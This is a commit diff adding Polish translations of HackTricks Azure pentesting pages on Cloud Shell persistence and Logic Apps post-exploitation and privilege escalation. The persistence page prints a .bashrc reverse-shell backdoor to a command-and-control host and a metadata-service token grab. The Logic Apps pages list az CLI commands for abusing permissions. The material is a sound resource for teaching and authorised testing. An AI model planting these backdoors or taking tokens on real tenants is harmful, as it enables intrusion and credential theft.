Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

This commit is contained in:
Translator
2025-01-26 15:18:16 +00:00
parent bf20180a66
commit d0eba43684
12 changed files with 859 additions and 70 deletions
+4
View File
@@ -409,6 +409,7 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
@@ -452,6 +453,7 @@
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
@@ -471,6 +473,7 @@
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
- [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
@@ -480,6 +483,7 @@
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
@@ -0,0 +1,56 @@
# Az - Cloud Shell Persistence
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cloud Shell Persistence
Azure Cloud Shell oferuje dostęp do wiersza poleceń w celu zarządzania zasobami Azure z persistent storage i automatyczną autoryzacją. Atakujący mogą to wykorzystać, umieszczając backdoory w persistent home directory:
* **Persistent Storage**: Katalog domowy Azure Cloud Shell jest zamontowany na udostępnionym pliku Azure i pozostaje nienaruszony nawet po zakończeniu sesji.
* **Startup Scripts**: Pliki takie jak .bashrc wykonują się automatycznie na początku każdej sesji, co pozwala na persistent execution, gdy cloud shell się uruchamia.
Example backdoor in .bashrc:
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
Ten backdoor może wykonywać polecenia nawet 5 minut po zakończeniu sesji chmurowej przez użytkownika.
Dodatkowo zapytaj o usługi metadanych Azure w celu uzyskania szczegółów instancji i tokenów:
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
{% endhint %}
@@ -0,0 +1,181 @@
# Az - Logic Apps Post Exploitation
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>
{% endhint %}
## Logic Apps Database Post Exploitation
Aby uzyskać więcej informacji na temat aplikacji logicznych, sprawdź:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
Dzięki tym uprawnieniom możesz modyfikować przepływy pracy aplikacji logicznych i zarządzać ich tożsamościami. W szczególności możesz przypisywać lub usuwać tożsamości zarządzane przypisane do systemu i użytkownika do przepływów pracy, co pozwala aplikacji logicznej uwierzytelnić się i uzyskać dostęp do innych zasobów Azure bez wyraźnych poświadczeń.
{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
--resource-group <resource_group_name> \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
Dzięki tym uprawnieniom możesz tworzyć lub aktualizować Logic Apps hostowane na planie usługi App Service. Obejmuje to modyfikowanie ustawień, takich jak włączanie lub wyłączanie wymuszenia HTTPS.
{% code overflow="wrap" %}
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
Dzięki temu uprawnieniu możesz uruchomić/zatrzymać/ponownie uruchomić aplikację internetową, w tym Logic Apps hostowane na planie usługi App Service. Ta akcja zapewnia, że wcześniej zatrzymana aplikacja zostaje uruchomiona i wznawia swoją funkcjonalność. Może to zakłócić przepływy pracy, wywołać niezamierzone operacje lub spowodować przestoje poprzez nieoczekiwane uruchamianie, zatrzymywanie lub ponowne uruchamianie Logic Apps.
{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
Dzięki temu uprawnieniu możesz konfigurować lub modyfikować ustawienia aplikacji webowych, w tym Logic Apps hostowane na planie App Service. Umożliwia to wprowadzanie zmian w ustawieniach aplikacji, ciągach połączeń, konfiguracjach uwierzytelniania i nie tylko.
{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
Dzięki temu uprawnieniu możesz tworzyć, aktualizować lub usuwać konta integracyjne Azure Logic Apps. Obejmuje to zarządzanie konfiguracjami na poziomie konta integracyjnego, takimi jak mapy, schematy, partnerzy, umowy i inne.
{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
--name <integration_account_name> \
--location <location> \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować konfiguracje wsadowe w ramach konta integracyjnego Azure Logic Apps. Konfiguracje wsadowe definiują, jak Logic Apps przetwarzają i grupują przychodzące wiadomości do przetwarzania wsadowego.
{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <batch_configuration_name> \
--release-criteria '{
"messageCount": 100,
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować mapy w ramach konta integracyjnego Azure Logic Apps. Mapy są używane do przekształcania danych z jednego formatu na inny, co umożliwia bezproblemową integrację między różnymi systemami i aplikacjami.
{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <map_name> \
--map-type <Xslt|Xslt20|Xslt30> \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować partnerów w koncie integracyjnym Azure Logic Apps. Partnerzy reprezentują podmioty lub systemy, które uczestniczą w przepływach pracy typu business-to-business (B2B).
{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <partner_name> \
--partner-type <partner-type> \
--content '{
"b2b": {
"businessIdentities": [
{
"qualifier": "ZZ",
"value": "TradingPartner1"
}
]
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować sesje w ramach konta integracyjnego Azure Logic Apps. Sesje są używane w przepływach pracy B2B do grupowania wiadomości i śledzenia powiązanych transakcji w określonym okresie.
{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <session_name> \
--content '{
"properties": {
"sessionId": "session123",
"data": {
"key1": "value1",
"key2": "value2"
}
}
}'
```
{% endcode %}
### "*/delete"
Dzięki tym uprawnieniom możesz usuwać zasoby związane z Azure Logic Apps
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>
{% endhint %}
@@ -0,0 +1,77 @@
# Az - Logic Apps Privesc
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
{% endhint %}
## Logic Apps Privesc
Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
Dzięki temu uprawnieniu możesz tworzyć lub aktualizować przepływy pracy Azure Logic Apps. Przepływy pracy definiują zautomatyzowane procesy i integracje między różnymi systemami i usługami.
{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group <resource_group_name> \
--name <workflow_name> \
--definition <workflow_definition_file.json> \
--location <location>
az logic workflow update \
--name my-new-workflow \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
A po dokonaniu zmian, możesz to uruchomić za pomocą:
```bash
az rest \
--method post \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
Dzięki tym uprawnieniom możesz wdrażać przepływy pracy Logic App za pomocą wdrożeń plików ZIP. Te uprawnienia umożliwiają działania takie jak odczyt szczegółów aplikacji, dostęp do poświadczeń publikacji, wprowadzanie zmian i wyświetlanie konfiguracji aplikacji. Wraz z uprawnieniami do uruchamiania możesz zaktualizować i wdrożyć nową Logic App z pożądanym zawartością.
{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>
{% endhint %}
@@ -8,9 +8,9 @@ Azure App Services umożliwia deweloperom **tworzenie, wdrażanie i skalowanie a
Każda aplikacja działa w piaskownicy, ale izolacja zależy od planów App Service:
- Aplikacje w darmowych i współdzielonych warstwach działają na **współdzielonych VM**
- Aplikacje w standardowych i premium warstwach działają na **dedykowanych VM współdzielonych tylko przez aplikacje** w tym samym planie App Service.
- Warstwy izolowane działają na **dedykowanych VM w dedykowanych sieciach wirtualnych**, co poprawia izolację aplikacji.
- Aplikacje w darmowych i współdzielonych planach działają na **współdzielonych VM**
- Aplikacje w standardowych i premium planach działają na **dedykowanych VM współdzielonych tylko przez aplikacje** w tym samym planie App Service.
- Plany izolowane działają na **dedykowanych VM w dedykowanych sieciach wirtualnych**, co poprawia izolację aplikacji.
> [!WARNING]
> Należy pamiętać, że **żadne** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzająca**, może ona **eskalować uprawnienia do nich**.
@@ -21,7 +21,7 @@ Aplikacje mają kilka interesujących konfiguracji:
- Jest to niezbędne, jeśli masz webjob, który musi działać nieprzerwanie, ponieważ webjob zatrzyma się, jeśli aplikacja przestanie działać.
- **SSH**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może połączyć się z aplikacją za pomocą SSH.
- **Debugowanie**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może debugować aplikację. Jednak jest to automatycznie wyłączane co 48 godzin.
- **Aplikacja internetowa + Baza danych**: Konsola internetowa umożliwia utworzenie aplikacji z bazą danych. W tym przypadku można wybrać bazę danych do użycia (SQLAzure, PostgreSQL, MySQL, MongoDB) i umożliwia również utworzenie Azure Cache dla Redis.
- **Aplikacja internetowa + Baza danych**: Konsola internetowa pozwala na utworzenie aplikacji z bazą danych. W tym przypadku można wybrać bazę danych do użycia (SQLAzure, PostgreSQL, MySQL, MongoDB) i umożliwia również utworzenie Azure Cache dla Redis.
- URL zawierający dane uwierzytelniające do bazy danych i Redis będzie przechowywany w **appsettings**.
- **Kontener**: Możliwe jest wdrożenie kontenera do App Service, wskazując URL kontenera i dane uwierzytelniające do jego dostępu.
- **Montowanie**: Możliwe jest utworzenie 5 montowań z kont Storage, które mogą być Azure Blob (tylko do odczytu) lub Azure Files. Konfiguracja przechowa klucz dostępu w koncie Storage.
@@ -56,7 +56,7 @@ Ponadto, Kudu był kiedyś open source w [https://github.com/projectkudu/kudu](h
## Źródła
Usługi App pozwala na przesyłanie kodu jako pliku zip domyślnie, ale również umożliwia połączenie z usługą zewnętrzną i pobranie kodu stamtąd.
App Services domyślnie pozwala na przesyłanie kodu jako pliku zip, ale również umożliwia połączenie z usługą zewnętrzną i pobranie kodu stamtąd.
- Obecnie obsługiwane źródła zewnętrzne to **Github** i **Bitbucket**.
- Możesz uzyskać tokeny uwierzytelniające, uruchamiając `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
@@ -65,7 +65,7 @@ Usługi App pozwalają na przesyłanie kodu jako pliku zip domyślnie, ale równ
- Możesz uzyskać dane uwierzytelniające do zdalnego repozytorium, uruchamiając `az webapp deployment source show --name <app-name> --resource-group <res-group>` lub `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Możliwe jest również użycie **Azure Repository**.
- Możliwe jest również skonfigurowanie **lokalnego repozytorium git**.
- Możesz uzyskać URL repozytorium git za pomocą `az webapp deployment source show --name <app-name> --resource-group <res-group>`, a będzie to URL SCM aplikacji.
- Możesz uzyskać URL repozytorium git, uruchamiając `az webapp deployment source show --name <app-name> --resource-group <res-group>`, a będzie to URL SCM aplikacji.
- Aby je sklonować, będziesz potrzebować danych uwierzytelniających SCM, które możesz uzyskać za pomocą `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
## Webjobs
@@ -87,7 +87,7 @@ Ponadto możliwe jest skierowanie **procenta ruchu** do konkretnego slotu, co je
## Aplikacje funkcji Azure
Zasadniczo **aplikacje funkcji Azure są podzbiorem Azure App Service** w konsoli internetowej, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć również aplikacje funkcji wymienione tam**.
Zasadniczo **aplikacje funkcji Azure są podzbiorem Azure App Service** w konsoli internetowej, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć aplikacje funkcji również wymienione tam**.
Dlatego obie usługi mają w rzeczywistości głównie **te same konfiguracje, funkcje i opcje w az cli**, chociaż mogą je konfigurować nieco inaczej (jak domyślne wartości appsettings lub użycie konta Storage w aplikacjach funkcji).
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.Websites
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
# Retrieves details of a specific App Service Environment in the specified resource group.
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the access restriction configuration for a specified Web App.
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the SSL certificates for a specified resource group.
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
# Retrieves the continuous deployment URL for a containerized Web App.
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of continuous WebJobs for a specified Web App.
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the list of triggered WebJobs for a specified Web App.
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves details of a deleted Web App in the specified resource group.
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves a list of snapshots for a specified Web App.
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the history of a specific triggered WebJob for a Web App.
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
# Retrieves information about deployment slots for a specified Web App.
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
# Retrieves the continuous WebJobs for a Web App.
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the traffic routing rules for a Web App.
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
# Retrieves details of a specific backup for a Web App.
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
# Retrieves the backup configuration for a Web App.
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of all backups for a Web App.
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{{#endtab }}
@@ -258,7 +303,7 @@ Podobnie jak w poprzednim przypadku, logując się do portalu SCM lub przez FTP,
> [!TIP]
> Samo połączenie przez FTP i modyfikacja pliku `output.tar.gz` oraz ponowne uruchomienie wdrożenia nie wystarczy, aby zmienić kod wykonywany przez aplikację webową.
## Eskalacja Uprawnień
## Podwyższenie Uprawnień
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
@@ -0,0 +1,58 @@
# Az - Cloud Shell
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
## Azure Cloud Shell
**Azure Cloud Shell** to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB udostępniania plików. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code.
Nie przypisano uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji.
### Kluczowe funkcje
**Środowisko**: Azure Cloud Shell zapewnia bezpieczne środowisko, działając na Azure Linux, własnej dystrybucji Linuksa Microsoftu zaprojektowanej dla infrastruktury chmurowej. Wszystkie pakiety zawarte w repozytorium Azure Linux są wewnętrznie kompilowane przez Microsoft, aby chronić przed atakami łańcucha dostaw.
